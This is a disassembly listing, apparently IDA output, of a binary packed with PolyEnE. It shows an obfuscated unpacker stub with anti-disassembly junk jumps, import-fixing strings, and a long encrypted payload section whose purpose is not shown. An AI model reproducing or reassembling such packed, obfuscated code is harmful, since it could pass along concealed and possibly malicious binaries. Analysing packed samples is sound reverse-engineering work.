		dd 1EBC486h, 0C0C166A0h, 5346808h, 48B0042h, 4C48324h
		dd 0FFA901EBh, 15FFEBD0h, 4204D2h, 0C1A901EBh, 0C6C120C6h
		dd 20C6C120h, 4173C8BFh, 0F6FFEB00h, 875FF78Bh,	835857F7h
		dd 4C704ECh, 524h, 0BB5900h, 39000000h,	4A850F18h, 0EB000000h
		dd 0EB230F05h, 0FBEB3103h, 573101EBh, 1EBFB87h,	0FB875B0Fh
		dd 4BA52h, 0DAF70000h, 0EB5AC22Bh, 0E850C9FFh, 1, 0C08358C7h
		dd 0E0FFEB08h, 3B404858h, 0D3840FCBh, 0EB000000h, 0F78BF6FFh
		dd 0E9F7875Fh, 0FFFFFFAFh, 686Ch, 1C8B0040h, 4C48324h
		dd 8B6901EBh, 0C3030C47h, 0EBF0FFEBh, 4D615FFh,	5E500042h
		dd 478BC987h, 8BC30110h, 6803h,	3B590000h, 7A840FC1h, 0A9000000h
		dd 80000000h, 36850Fh, 0BA520000h, 400000h, 0C22BDAF7h
		dd 0C0FFEB5Ah, 876901EBh, 0F6FFEBC9h, 875FF78Bh, 1E850F7h
		dd 0C7000000h, 8C08358h, 58E0FFEBh, 0EBC0FFEBh,	9E96901h
		dd 45000000h, 25A901EBh, 0FFFFh, 56F0FFEBh, 0DA15FFEBh
		dd 0B9004204h, 0
; ---------------------------------------------------------------------------
		push	edx
		push	ecx
		cmp	[esp], eax
		pop	edx
		pop	edx
		jz	loc_4203FD
		jmp	short loc_4203A8
; ---------------------------------------------------------------------------
		db 69h
; ---------------------------------------------------------------------------


loc_4203A8:				; CODE XREF: .data:004203A5j
		jmp	short loc_4203AB
; ---------------------------------------------------------------------------
		db 69h
; ---------------------------------------------------------------------------


loc_4203AB:				; CODE XREF: .data:loc_4203A8j
		mov	[ebx], eax
		lea	ebx, [ebx+4]
		jmp	near ptr dword_42002C+303h
; ---------------------------------------------------------------------------
		les	edx, [edi-79h]
		sti
		jmp	short loc_4203BF
; ---------------------------------------------------------------------------
		db 0Fh
; ---------------------------------------------------------------------------


loc_4203BF:				; CODE XREF: .data:004203BCj
		pop	ebx
		xchg	edi, ebx
		lea	edi, [edi+14h]
		jmp	near ptr dword_42002C+271h
; ---------------------------------------------------------------------------
		db 0EFh, 2 dup(90h)
		dd 1E850h, 58C70000h, 0EB08C083h, 6158E0FFh, 67F1BD55h
		dd 5D950041h, 1EBC486h,	0C0C166A0h, 0F0FFEB08h,	0C1C3C987h
		dd 0CAC102C2h
		db 2
; ---------------------------------------------------------------------------


loc_4203FD:				; CODE XREF: .data:0042039Fj
		push	ebp
		mov	ebp, offset aUnableToFixImp ; "Unable to fix importtable."
		xchg	eax, ebp
		pop	ebp
		mov	ebx, offset aPolyene ; "PolyEnE"
		jmp	short near ptr loc_42040A+1 ; CODE XREF: .data:loc_42040Aj
; ---------------------------------------------------------------------------
		dd 1E850F1h, 0C7000000h, 8C08358h, 58E0FFEBh, 230F05EBh
		dd 0EB3103EBh, 10BAFBh,	0C7330000h, 0BD02EB57h,	24043330h
		dd 0F2FFEB5Fh, 1EBC486h, 0C0C166A0h, 0F3FFEB08h, 0F0FF00EBh
		dd 1568F1FFh, 58004206h, 0FFEBF0FFh, 0C8FFEBC0h, 0D615FFEBh
		dd 50004204h, 420609B8h, 86589100h, 0A001EBC4h,	8C0C166h
		dd 4850F1FFh, 15FFEB40h, 4204DAh, 1EBC486h, 0C0C166A0h
		dd 0EBD0FF08h, 4DE15FFh, 0FFEB0042h, 0C8FFEBC0h, 96E9h
		dd 0
		dd 0C3133700h, 0E60000CDh, 204C177h, 204CE00h, 5 dup(0)
		dd 52454B00h, 334C454Eh, 6C642E32h, 36A3006Ch, 380377E7h
		dd 5D877E7h, 0A5FD77E8h, 5CB577E7h, 77E7h, 1680000h, 626F6C47h
		dd 6C416C61h, 636F6Ch, 6C47016Fh, 6C61626Fh, 65657246h
		dd 4C01A900h, 4C64616Fh, 61726269h, 417972h, 65470129h
		dd 6F725074h, 64644163h, 73736572h, 45007500h, 50746978h
		dd 65636F72h, 0E9007373h, 0B0h,	0DF8B5755h, 1E03ED33h
		dd 6608C683h, 0CD8B168Bh, 0EAD36646h, 0CEFE09B6h, 0E2D0F174h
		dd 8B567673h, 0D3068BCDh, 8BC88BE8h, 3E9C1F0h, 4A9h, 830B7400h
		dd 0E8C11FE1h, 8C58308h, 0E18309EBh, 5E8C103h, 8305C583h
		dd 0F68503E6h, 744E0E74h, 1C744E15h, 8307E083h,	1AEB03C5h
		dd 7F25h, 7C58300h, 3F2510EBh, 83000000h, 6EB06C5h, 830FE083h
		dd 8B4004C5h, 2C183F7h,	48DF02Bh, 73C33B39h, 8BA4F323h
		dd 0E9C15ECDh, 7E58303h, 82EBF103h, 1173FB3Bh, 68BCD8Bh
		dd 46E8D347h, 0E9FF4788h, 0FFFFFF6Eh, 5FC78B59h, 0C35DC72Bh
; ---------------------------------------------------------------------------
		jmp	short near ptr dword_420620
; ---------------------------------------------------------------------------
aUnableToFixImp	db 'Unable to fix importtable.',0 ; DATA XREF: .data:004203FEo
aPolyene	db 'PolyEnE',0          ; DATA XREF: .data:00420405o
aMessageboxa	db 'MessageBoxA',0
aUser32_dll	db 'USER32.dll',0
dword_420620	dd 278h	dup(0)		; CODE XREF: .data:004205E4j
_data		ends

; Section 2. (virtual address 00021000)
; Virtual size			: 0001204E (  73806.)
; Section size in file		: 0001204E (  73806.)
; Offset to raw	data for section: 00021000
; Flags	C0000020: Text Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
_pdata		segment	para public 'CODE' use32
		assume cs:_pdata
		;org 421000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_421000	dd 8000005Eh, 10300000h, 6EBF4585h, 920828F7h, 2AF19BFBh
					; DATA XREF: .ex_cod:off_4356B8o
		dd 662A51A5h, 55829841h, 0E07B75AFh, 6DCB1407h,	8B37DDB2h
		dd 1E8D2503h, 448B3F7Ch, 1B12D061h, 0D7081B1Eh,	5C65135Eh
		dd 20091203h, 0AD8E12F2h, 7B07D7D8h, 0DB20993Fh, 0D292D337h
		dd 6F6D2713h, 0A93F5ED1h, 0DD2E1B17h, 0BE2026EDh, 69881BC0h
		dd 343EA3CFh, 63595B28h, 5A5B2AD9h, 0A520B54Dh,	0AB2DD332h
		dd 10203693h, 2F2E0F04h, 23A2652Ah, 8856328h, 6ED28FF6h
		dd 0DC50BD18h, 0FD0A7928h, 0C0142D43h, 0B453E990h, 294A544Ch
		dd 0D762B8DCh, 0BA6185E9h, 0BCDC2F29h, 986E9DD1h, 6366CAB7h
		dd 0ADBD2363h, 0C56E0171h, 3F950D2h, 948C1209h,	718E40ADh
		dd 39BC47BAh, 45FD6CDFh, 0ACB89Bh, 0B3B0A8D6h, 0CE0F1E82h
		dd 610F36C4h, 0A84E379Dh, 1C1392Ch, 0FFE60C61h,	2000CE13h
		dd 0ABDF33CBh, 6D918738h, 2C9C434Bh, 2EC84881h,	0C325B525h
		dd 95DA9C2Dh, 0CBEC8FCAh, 26CDBC1Bh, 0DD3DF130h, 0A004D55Ah
		dd 0C08FC52Fh, 0EA21BE88h, 0B575B7B6h, 2ED89B5Ch, 8BB17E70h
		dd 0E45B679Fh, 43063FF8h, 9DE191EEh, 0F0F55CEFh, 0E2DD51Ch
		dd 0DD56B20Dh, 7E5028ACh, 0B61BF414h, 0E911FD22h, 1734E5CDh
		dd 2064AE2Ch, 0EB2A8433h, 0F7A2A614h, 6DCA2056h, 951C76D9h
		dd 38DFD66Ah, 1A77152Ah, 0A4C7F11Ah, 8686D7BEh,	0ED13F5DFh
		dd 416CBF8Eh, 69FD1DD7h, 6FAF291Eh, 99963D4Eh, 4D178462h
		dd 47DFB6C7h, 9BEB90BFh, 62F15C67h, 0C828F86Ah,	0EC78F4C6h
		dd 463FC979h, 32DE6D7Dh, 2A7D4BEFh, 836BDD29h, 0C708E9D0h
		dd 0E60D7651h, 7768E959h, 0A24C013Ch, 87DDEE0Ah, 0C103EABh
		dd 7AC65460h, 0C3A0D64Ah, 800BBD60h, 6F81B07Ch,	0B3E36493h
		dd 0B338B8B2h, 99FEED0Fh, 994DE17Fh, 0FCA0AC69h, 6ACB827Bh
		dd 1DD2D420h, 0F24415ADh, 32243C15h, 32C44B4Eh,	0D8945839h
		dd 17DAE91Fh, 9A818FB8h, 75C3F760h, 9CA0B059h, 2F5734Ch
		dd 0CB1F32A1h, 96C8837Bh, 90536401h, 4A24BD6Dh,	551AD21Fh
		dd 8971BB98h, 6F2EBA14h, 0E2E30FBEh, 43F29960h,	7ABB5FE0h
		dd 0AD01CB1Fh, 49117648h, 0FA7442D3h, 0CB2094C6h, 6B4E1394h
		dd 2809C714h, 6B01186Dh, 5EDEC0B3h, 0FBB67FBEh,	0D0B64A3Fh
		dd 0AFB1BC2Dh, 0EE6CFD34h, 0EF488A2Ah, 0AF8A3580h, 65BF8A0h
		dd 8ACC8E53h, 96534537h, 6BA0CAD5h, 54D95AC2h, 867F4529h
		dd 9B7D1CB5h, 0A32BB423h, 58300580h, 7999F217h,	0C5596A42h
		dd 0D75A22FBh, 0BA1813E1h, 0AECA19D7h, 7B3C04h,	9F13B8D1h
		dd 0CE5B6457h, 64304268h, 1DA584BAh, 0AE29F514h, 0A93E8E96h
		dd 8275914Ch, 12897CAAh, 0F90AB1E8h, 5A63A4BAh,	9793E173h
		dd 0CBEBA23Ah, 0ABC3CDBh, 0E99457FBh, 0DD7538h,	5AE37E77h
		dd 0DFB321B0h, 4A922A22h, 11EE88ADh, 2C249E7Ah,	8DAE29D3h
		dd 0EA02AD47h, 0A96F2451h, 0CCC6BD06h, 20FCF95Eh, 0B330BDCBh
		dd 305C4AB5h, 241BF453h, 0A90ED025h, 0D17634DFh, 0AC6658F9h
		dd 81560B1h, 1755626Dh,	0A44B01A4h, 9C7A92Eh, 0A9D10549h
		dd 0F4FB9E98h, 0A57F6B2Ah, 1BFC2E2Bh, 0A7600A01h, 0BF613BDCh
		dd 0B9FB87D2h, 2A9FCBF6h, 0EB78BB8Ch, 38194616h, 0D9CFD13Ch
		dd 0CA57F741h, 0CD5D710Bh, 0D064C7BDh, 5ECFAA93h, 1995B974h
		dd 174FE6D6h, 0A4796A6Eh, 58DE0B1Dh, 0B6221F91h, 0CA6CD2D7h
		dd 0A036AAADh, 0C6F74164h, 3FB3A4ECh, 385C0338h, 80EC6834h
		dd 74AB0BBBh, 0E7E9EBA3h, 0E9F7E5Ch, 27E0E465h,	0D7A588BFh
		dd 0C02BE47h, 0CD4761D0h, 0F5D7B2A1h, 0DB63BD1Dh, 0AF2A1D2Eh
		dd 0A8545E4Fh, 0FAE5D34Ah, 5CDB89DCh, 5E40BAAFh, 12B111A2h
		dd 17ABA89Fh, 6CA8D4E1h, 0B3EF7530h, 4DA4BE78h,	410409C7h
		dd 7999080Fh, 63001B51h, 32ECFEE3h, 2513A27Dh, 39CF813Ah
		dd 794372Bh, 63350CEFh,	0C5E7EBB2h, 0EEA2C01Ah,	4BA3565Ch
		dd 24769840h, 0FB29AE95h, 0EEB4CE43h, 8818074Eh, 8690FFD8h
		dd 7DD55926h, 2985A708h, 20D9FBFAh, 785022D9h, 0D82ED157h
		dd 2A5A25A0h, 0D8609335h, 68A69D5Eh, 0BD71FA34h, 6E785AE4h
		dd 953A9DD8h, 0DACEC3DEh, 96ABAA95h, 7341680Fh,	8F9ED62Ch
		dd 0E6D0A7B2h, 0C681BBD4h, 0AAA01FE6h, 39789B1h, 243D0121h
		dd 41A5C2A0h, 319A692Ch, 88569C50h, 882AEFE1h, 0D3F1EE5Bh
		dd 0FC079246h, 30BA8B23h, 0B2213D9Fh, 0A1EC28F7h, 29B6B17Dh
		dd 5DC93865h, 0B573E4C8h, 0F3BF33CAh, 207A1602h, 321C0B10h
		dd 0B3C5D6C5h, 3A4F4D63h, 6D0F025Fh, 9481DD4Ch,	7DC8AB5Eh
		dd 0EBE8CEB9h, 0E300862h, 66DC438Ch, 8DD3B9CBh,	0D76CEE11h
		dd 0D4E263B1h, 6F0160C2h, 0DD11633h, 8E2E6911h,	0F0A4A3A5h
		dd 0D188C3C3h, 0E9082A27h, 0AE126736h, 41E1F831h, 5DEF5F47h
		dd 0D7E7A65Fh, 0BE0D0655h, 971C569Fh, 93A36805h, 696D0DD5h
		dd 63171CABh, 15DB5180h, 0AE48DBE5h, 8375F935h,	7E0D7F3Eh
		dd 74851F63h, 82DCDBBh,	0B3515A6Fh, 0A2A0AAE5h,	6E670905h
		dd 8E5E3E9Bh, 628E3D93h, 10C81CBEh, 0B49A102h, 4B622B2Ch
		dd 0BD556341h, 0C0576036h, 25227995h, 0A48CA29Fh, 4F79BA16h
		dd 13ED21BCh, 4FC02E80h, 183E12C7h, 0D6268BD5h,	0D0B57E3Ah
		dd 0D2592285h, 0B9D6F453h, 354BDFBAh, 0B427545Eh, 0DA60B1C7h
		dd 810D45A7h, 249B31A0h, 682F74C0h, 780CBA6Ah, 28A03903h
		dd 0CA8F7741h, 0FEFB18CFh, 0D471696Dh, 0A626B018h, 0DD6BE3A6h
		dd 558CC71Fh, 0A90E323Ch, 0E61D5B50h, 857CF374h, 3729ADE1h
		dd 73575BD2h, 0C327A517h, 0A858DA36h, 10B174D4h, 82C7694Ch
		dd 0A4AA0549h, 99F6E1D7h, 6FD7482Fh, 288B7022h,	741DAA1Ch
		dd 9F3096C7h, 9E8A2599h, 68075F7Bh, 9EB44271h, 77FF51Dh
		dd 6CAC6029h, 36D25023h, 0E84D4C72h, 0BE3B84BDh, 18C5B77Bh
		dd 621BD575h, 1A27485Dh, 9E35A8DEh, 0F6432DEFh,	0DD5602D0h
		dd 3D8EC34Bh, 0E69885B3h, 0FD06A102h, 0ACD78A2h, 0E3C377B2h
		dd 0B7144B80h, 2D1CA7C2h, 7687A03Eh, 0D927EC3Bh, 0D92234D0h
		dd 31B517A8h, 2B6FC8AEh, 0BE82341Fh, 84C28BB7h,	7E78815Eh
		dd 0A60393B5h, 9747B909h, 96662D5Fh, 0E154DC3Bh, 0B040E4E7h
		dd 6160F69Ch, 260AB6DBh, 0FEA5E6B6h, 2FC0723Fh,	6CB43302h
		dd 11DBFB5h, 0D7202356h, 0F6ECC316h, 9DE0E637h,	0CF605123h
		dd 151920B3h, 0C7A0A002h, 24225DB9h, 0FB33979Eh, 0D8A69E7Eh
		dd 0C366EDFBh, 0FBA69D28h, 0A8A549F5h, 0E05DEE01h, 49EAAE8Ch
		dd 9DC65F52h, 8337C380h, 83BA4523h, 0D4A2A6F7h,	871986EEh
		dd 27EFFFCDh, 0CEE452D9h, 0F075B2C8h, 5A647D3Eh, 5A4231DAh
		dd 72222230h, 0A3192D82h, 34D67ADAh, 94D0D883h,	4F5CFC76h
		dd 9A993ADh, 92F441Dh, 87C4161Eh, 3691D597h, 95256D30h
		dd 662F9D3Eh, 61AF996Bh, 65CE4408h, 0A9824F71h,	56375126h
		dd 2BE782ADh, 85AE497Eh, 0A2BCBCAFh, 4D5581A7h,	0FB878634h
		dd 0B06D1DD6h, 36DE4691h, 61F48767h, 1807BAD3h,	0EC9C47FFh
		dd 17D1E889h, 87898DA4h, 0C35911FBh, 0D6E8E211h, 86C96387h
		dd 0DCE30D8h, 933A0AE7h, 0CCC3CA2Ah, 15CF6442h,	0C8A561E1h
		dd 0C036542h, 0C7FCF402h, 0F34D6ECCh, 0CB45030Bh, 0CBC5386Ch
		dd 3DB4287Fh, 5DB6C6B4h, 0AEFF40E4h, 0B034B431h, 5329ECCh
		dd 0F13E52B7h, 0CDD51F57h, 4A2AC930h, 5CB40C54h, 46625D57h
		dd 6922F9BCh, 0C25741DAh, 2D4421CEh, 857A1810h,	9728F96Ch
		dd 0D49C7FBBh, 0AF899462h, 966E96A9h, 0E404ACD7h, 39B2FE5Dh
		dd 0FD1892E6h, 0D36735D4h
		dd 0FBC87E2Ch, 5443E86Fh, 0DACDC2F9h, 2564B30Dh, 2B01647Fh
		dd 7507D528h, 0AB0FEBC0h, 58922093h, 0EC13DAD7h, 0BEF775B6h
		dd 0B9B2A6B0h, 0F3ECFAA8h, 14504F30h, 15730F84h, 0C4F10E98h
		dd 0E8BC5ED9h, 0DAF555E3h, 0F447F6AAh, 23481D5Eh, 0D711F673h
		dd 0D9872F2Dh, 0D75FDF7Fh, 5A6440BCh, 0C239C7E4h, 9C1BECD8h
		dd 56CF48F3h, 0D1BA0007h, 0C45F2CADh, 0AF693A68h, 0C0C6F141h
		dd 4C97F738h, 50ACE5EAh, 1B87D57h, 574B15A6h, 0FA6B925h
		dd 0AB69A15Bh, 0B7AC164Bh, 73AC6A79h, 53D25168h, 41449B77h
		dd 0C5EA7B90h, 9399994Ah, 40D7917Fh, 47870A75h,	21BC28D3h
		dd 0DF281573h, 0A2C7FEE1h, 0B85FB64Fh, 791ADF7Dh, 0F5A76A47h
		dd 0EE64FE11h, 22A9A3B5h, 312A970h, 0EB0A4EB2h,	323D77A2h
		dd 3F4C34Eh, 96DA5AEFh,	1FDBAB8Eh, 0B8FAE143h, 0AE694303h
		dd 0EED507E9h, 3E62B92Eh, 5E74FB4Fh, 6EB5345Bh,	47F2E749h
		dd 7FC85E6Ah, 3418A44Ch, 90DDC5EDh, 5EFD8834h, 0F79DBD23h
		dd 969BEDBCh, 73753AA3h, 0D2A0888Ah, 54D4F165h,	5D6E9C69h
		dd 25F3C8AFh, 6D930073h, 85683026h, 4318536Eh, 0CAAFF745h
		dd 0FA593B98h, 8D3999CDh, 0D3F357B4h, 1DC2B087h, 2402E32Dh
		dd 9249208Ah, 974795BAh, 5FBBBF49h, 1C1452A3h, 79191053h
		dd 7043271Fh, 9B0BD1A5h, 3482D313h, 7BE5D5F5h, 100293E9h
		dd 85ECC07Fh, 0B02F3DA0h, 47BB5B27h, 94213492h,	0A7177897h
		dd 0A1DE2D47h, 750FBA84h, 1FB45586h, 0BAFDFDD2h, 770A3D9Dh
		dd 0ABEE281h, 8A49EB15h, 4DBBEBBEh, 0B8C82CADh,	0DAC8488Fh
		dd 8D04DA0Dh, 0EF37EC6Bh, 0BED8E698h, 4D731937h, 8944D15Ch
		dd 3D4FB42Eh, 0D40C75A9h, 7967DB13h, 7BE80DCAh,	1B7D773h
		dd 6004735Fh, 0C3A94C4Dh, 1DB2CBD5h, 3F4FD1A7h,	72CC3EA9h
		dd 0BA65AC90h, 0DF25DED7h, 0A468F5B5h, 160BAEAAh, 32F78680h
		dd 195FFA9Dh, 984F02Dh,	6E51FD6Bh, 2A95AF7Eh, 0D1559B6Bh
		dd 41FA018Dh, 76B31D39h, 5F73BD2Fh, 0ED5A30B0h,	0A5C61A15h
		dd 59568AE0h, 0FCEC7979h, 38164FD6h, 14724A25h,	0F4E2232Fh
		dd 31A577C8h, 0AF7B191Eh, 29B6562Fh, 0B5FAD176h, 0E8908513h
		dd 0A5470DE6h, 0CCF9186h, 4CFF32FBh, 90EAE6A8h,	9346C65Bh
		dd 0D1407318h, 6AF939ABh, 0F8FB5000h, 949BB44Bh, 86A031E7h
		dd 0FF0AAFABh, 2BBB6BC6h, 5247BD26h, 15455116h,	0CB55C01h
		dd 879BD0DDh, 134E3599h, 0C39B1F54h, 0ACCCDAF7h, 6278FAC0h
		dd 9788E6Fh, 9CFDCE22h,	0DEBE4F5h, 9FA13FACh, 85F16452h
		dd 0BE50AF6Ch, 0C53F9A2Fh, 5F73C443h, 4B05E72Dh, 705629C1h
		dd 0C9EE5397h, 64707B5Bh, 0F50A8133h, 6652D51Dh, 0EF8EFDA6h
		dd 4C8D221Fh, 0AAF296E4h, 0E88B8421h, 0AEA35574h, 1F5A7555h
		dd 0F2AB7BBh, 0CCCCA96h, 0F58372h, 26667968h, 843A3076h
		dd 75F789B6h, 0E32827AEh, 21FAF3C3h, 61D0FCA5h,	45ADFC82h
		dd 0EE3CEB7Bh, 0D2113192h, 0DFB0765Ah, 0B69D318Dh, 474754B3h
		dd 0BCB846DDh, 0B3B6CA67h, 17D4EBA4h, 8124CD24h, 0CB35EBE8h
		dd 0F3410CBFh, 1E87C1Dh, 0DAD9514Eh, 0DF31DF77h, 45956FC1h
		dd 817B8D5Fh, 0B23A36D3h, 65494EEAh, 0BF6697C4h, 0F9A98645h
		dd 0C9E6CCB0h, 0E56DF776h, 57A70E48h, 1B28BE48h, 3E5EB1F1h
		dd 0A2191D0Fh, 5331ECDDh, 0D0B19571h, 4E27DD44h, 0BE3DBD0Dh
		dd 0D259D465h, 7FDE5E08h, 1E3CA984h, 0E951BE0Bh, 47A4DAE9h
		dd 0DBB57E90h, 10B26A23h, 20BEDEB9h, 1D0C161Bh,	0DC0B7E35h
		dd 13B93BABh, 2AA15B8Ah, 0FF475762h, 8D128B4Bh,	0AD668F60h
		dd 0BEE362BDh, 2B1C7769h, 1E319BC5h, 0BD882C67h, 0B35F9BA5h
		dd 939A3469h, 0BC0EF542h, 90933747h, 0FF920937h, 80544C97h
		dd 0FB037F70h, 0D1E28880h, 0E9E7D6FAh, 9F97183Bh, 6DF05ABDh
		dd 0A029348Fh, 0CE43C427h, 24B337ACh, 89A6B1ACh, 0C5468747h
		dd 1E6A769Ch, 5074046Ah, 49936298h, 6501F7A6h, 0F91008CEh
		dd 0FD55A664h, 99BB77F8h, 4ABF1666h, 0BD5CB058h, 95F790BFh
		dd 327149B3h, 0CAAFC20Dh, 521676E9h, 55E3F76h, 5B11C070h
		dd 77C05B43h, 0F9D27A7h, 81FBA06Ah, 0C3AA33C2h,	99B325FAh
		dd 2D57406Ch, 0B5D83479h, 8709156Ah, 12D95E27h,	3E554889h
		dd 38888EEAh, 35657741h, 94981728h, 40D1CC53h, 0D5A22493h
		dd 0A8B1A4CBh, 5FEAB0B0h, 0D0783553h, 6B6D95DAh, 0FE65B949h
		dd 7B3687A5h, 0E93B5478h, 3EECC7AEh, 0D77E8A16h, 0FCDB6702h
		dd 0E69E30B7h, 8666CDDDh, 86109B9Bh, 0D93625CFh, 3040DF46h
		dd 3CB8909Bh, 322A1378h, 0EBF2D844h, 0DE214833h, 10A32084h
		dd 849C6258h, 0CF2F11D5h, 736A4Fh, 2CEC72EDh, 0ECAAC7ACh
		dd 6CE99334h, 183A452Ah, 1E4C41A4h, 74F2C241h, 3CDD664Ah
		dd 0ADF9318Bh, 0B5AD5D2Eh, 180666A8h, 0A9E8F070h, 2ACBAB63h
		dd 84BFD9AEh, 2EF2941Eh, 9041FAA8h, 8861832Bh, 9D67D2E8h
		dd 0F5EA472Ah, 4FE29A5Dh, 0BF21A1D2h, 50815149h, 0BEA6ECB4h
		dd 4DB24CAAh, 4FCA1E64h, 87E8424Ah, 2660E534h, 0E35E6B6Bh
		dd 921C9D05h, 0DA6B76CBh, 7B1435AEh, 0A1227095h, 4F1BD830h
		dd 3A25A05Bh, 1D646E51h, 0E60587B3h, 2B40318h, 43616A6Fh
		dd 496FD205h, 0E6696FE9h, 0D75478FFh, 0F22981A6h, 87C315AAh
		dd 979A8758h, 1C33D398h, 0CEAC6EBEh, 0F2EA017Dh, 0D232ABD3h
		dd 0E72EAD91h, 0C522C4FBh, 56A0278Bh, 0D868DC8Eh, 71F2B822h
		dd 53A1D378h, 30F5514Dh, 8D28E113h, 0A53CDAE8h,	83D288EFh
		dd 93F14BB8h, 0A711C65Ch, 0AFCEBD4Fh, 0BC6B7B35h, 45726192h
		dd 5E18FCA0h, 573C7997h, 2DFB9E0Ch, 637BBD7Bh, 3EFD1487h
		dd 9A03ACBh, 0E6C52CD8h, 5E83C977h, 0F8F01CAEh,	0AF37FE91h
		dd 0D3275252h, 1F213C19h, 8888647Dh, 368AC68Bh,	0A97E761Fh
		dd 61D89BFAh, 830A3F1Eh, 0A1A2279Eh, 0BCFF157Eh, 0B44F49A4h
		dd 991C6B42h, 7C168310h, 7D7F6834h, 8CDB368Dh, 71FCA0B8h
		dd 1A92ABA6h, 982B4660h, 0A5C006EAh, 0BF46CA83h, 0B712A284h
		dd 9DBFE65Fh, 1FDF278Ah, 932DF398h, 0AE94F1BCh,	26C1C74Eh
		dd 3017A020h, 85EB1576h, 0FFC2137Bh, 319126F3h,	624C0A79h
		dd 0FBDFC736h, 11C664F1h, 0EA0E26A4h, 0CC7D09F1h, 0A81A6FD2h
		dd 13CF9494h, 0F295EA28h, 0BF1F1D9Bh, 0E6DCE019h, 1F7EFC51h
		dd 24D41FDCh, 354C77CDh, 5A180F5Ah, 181FE1C1h, 6F2E69EEh
		dd 0CD2145F8h, 0C25731E2h, 4E054FF7h, 166663EFh, 56A1701Dh
		dd 0D01F965Eh, 0F9E9946Fh, 0E2E8309Dh, 0D0E26F56h, 369E3227h
		dd 0DB9453C5h, 0D8689668h, 0BF3FD85Fh, 19920041h, 0D01D8A70h
		dd 0EC597531h, 937882A3h, 0F699320Ah, 0ADFA483Fh, 7E43596Fh
		dd 7797A791h, 0CFD65BD6h, 230D4FCAh, 0B50C6901h, 0D2A9956Dh
		dd 0B8DFEB0h, 0E97C5003h, 0C4C6CE7Eh, 19A08886h, 990D5217h
		dd 7DB78252h, 546C5359h, 3902556Ah, 0A88B2733h,	540DC7F6h
		dd 0A0B3116Ah, 17FEE6F8h, 11C7AB46h, 46A6BDAh, 274F0AA4h
		dd 0E5DAAD44h, 7B687608h, 58C12BE7h, 0BB0AC51h,	0E2D1DF0h
		dd 0E52456EEh, 0ECFE809Bh, 34F29631h, 0A1DFF5Ah, 0BF6D5EF1h
		dd 973987DCh, 62170CC9h, 46931DCAh, 35D619DCh, 48F84952h
		dd 620AF09Ch, 0D8EF7D5Bh, 407BBB1Dh, 411F451Ah,	8C8A7F66h
		dd 992C44D5h, 0FF3437D0h, 0F5F590ACh, 0B03F8040h, 9C1A598Eh
		dd 1BEE0413h, 7638B20Eh, 0BA863F15h, 0EE821BB0h, 619F09EAh
		dd 92A485A4h, 55A7373Fh, 0DDDA8D77h, 0B865B336h, 64C66454h
		dd 7A7D7261h, 3DC5306Fh
		dd 527F6EABh, 0C59AA033h, 933F65D4h, 9D753981h,	0ED73194Bh
		dd 6459889Dh, 0E8867482h, 781CB8F9h, 0BAF991E1h, 79359955h
		dd 91017FB0h, 857E9CC9h, 85DAAB1Ch, 9B4B4000h, 0FA45CAEAh
		dd 9C7EFE08h, 0BC8A9954h, 17EBB8D8h, 8E02B7B5h,	0C779072Eh
		dd 257A5BB2h, 7756E6DEh, 0B5B8C766h, 0FFCE3296h, 22FAC9DDh
		dd 0EAC59F41h, 514F3429h, 0E2828BB0h, 0AAE602AFh, 1306753Dh
		dd 6E01296Bh, 7997D055h, 0E258351Ch, 7057F2Dh, 23588A6Eh
		dd 48437B35h, 68DA95B1h, 3B18F5CEh, 7820AD59h, 0EDDD03B7h
		dd 0F6868Ch, 13B1429Dh,	0D298E187h, 4F5EC35Ch, 437ADA86h
		dd 13BE0D52h, 26853F7Eh, 0C3514123h, 0E408BAD2h, 8FB596B1h
		dd 0BD4BDA9Fh, 11C54EE4h, 0D4349BD4h, 6FF35C32h, 49C51D22h
		dd 0C3A15F8Eh, 12C9E82h, 5D3FD430h, 7C6765BCh, 139D520Ah
		dd 233828BDh, 0FCE25EE0h, 0A014814Eh, 0E1B102A5h, 0D6391031h
		dd 4017C65Bh, 0A89223Eh, 89BFD1EDh, 56D1945Dh, 0C5679437h
		dd 0AD35BA0Bh, 0FCE9C261h, 1F495E38h, 0A7F9E345h, 0BEBA1006h
		dd 0AAD27F37h, 0DFB604F1h, 0AACBA891h, 0C922185Dh, 0B5ED22F7h
		dd 1304E167h, 58DC82DAh, 4F237032h, 5BDA6630h, 5A328F9Eh
		dd 4DB52A99h, 816406EDh, 1EF01E62h, 0DC0D9118h,	9031D50h
		dd 29B6C830h, 0DFF93817h, 56FA126Dh, 528F900Eh,	20383A44h
		dd 51CA0F71h, 0D064B8CFh, 66B69823h, 949C4C90h,	0C714E9D5h
		dd 4A269933h, 6E8A983Dh, 0A6E069C7h, 26D07A2Dh,	40BAA663h
		dd 88134AE0h, 5560EED8h, 73301A25h, 825D2680h, 4DEBECFDh
		dd 0D730F4AFh, 7F4AD716h, 6CD39514h, 392F03h, 450B3D20h
		dd 0EECF8979h, 175308ABh, 4E798BDFh, 2C21AD6Ch,	0CF674031h
		dd 90ABA577h, 9B7086BFh, 55E5B3C1h, 43FC6EF3h, 0EE2AD368h
		dd 0E49A4B61h, 7D30CBEDh, 41D2FA15h, 957D5C21h,	59206563h
		dd 53DD023h, 0F8BE0B76h, 9E5B0008h, 0D13C65Ah, 0D405D877h
		dd 647B5C3Ch, 49740932h, 7F4CF2DFh, 934BADE9h, 23D4524Dh
		dd 94655BC9h, 0BFD53E74h, 30819ABAh, 0F7DEE1C5h, 819DACE8h
		dd 0CB601084h, 7D5829BAh, 36C1BC22h, 7EE7F4BCh,	4C1EBCA2h
		dd 72360796h, 0D46372D5h, 0EBD8B9F2h, 3261624Bh, 655E679Fh
		dd 213E560Ch, 5A5A4904h, 0E90B819Dh, 0BC1BB20Dh, 6AB87F7Ah
		dd 83CED60Ch, 94672227h, 97B76D5Dh, 0EA6D89E9h,	0AE5D675Fh
		dd 0EF5C39BDh, 61688126h, 8D2A6D32h, 0B9F2096Ah, 92BF31F2h
		dd 3205A039h, 995EDE5h,	0E45B2055h, 6F355FA5h, 75890D60h
		dd 782BBD36h, 6981BB0Eh, 9CD65BD5h, 796529E8h, 88A57A8Fh
		dd 1666F3CBh, 0A9D263EEh, 3015FAF1h, 5D55AD43h,	1EF90C63h
		dd 6C794B3Eh, 0BE72D963h, 0AC262BA3h, 99923D85h, 604FD6E5h
		dd 91B5252Bh, 10728CFh,	992CB142h, 4BC14A5Ch, 82FC2D16h
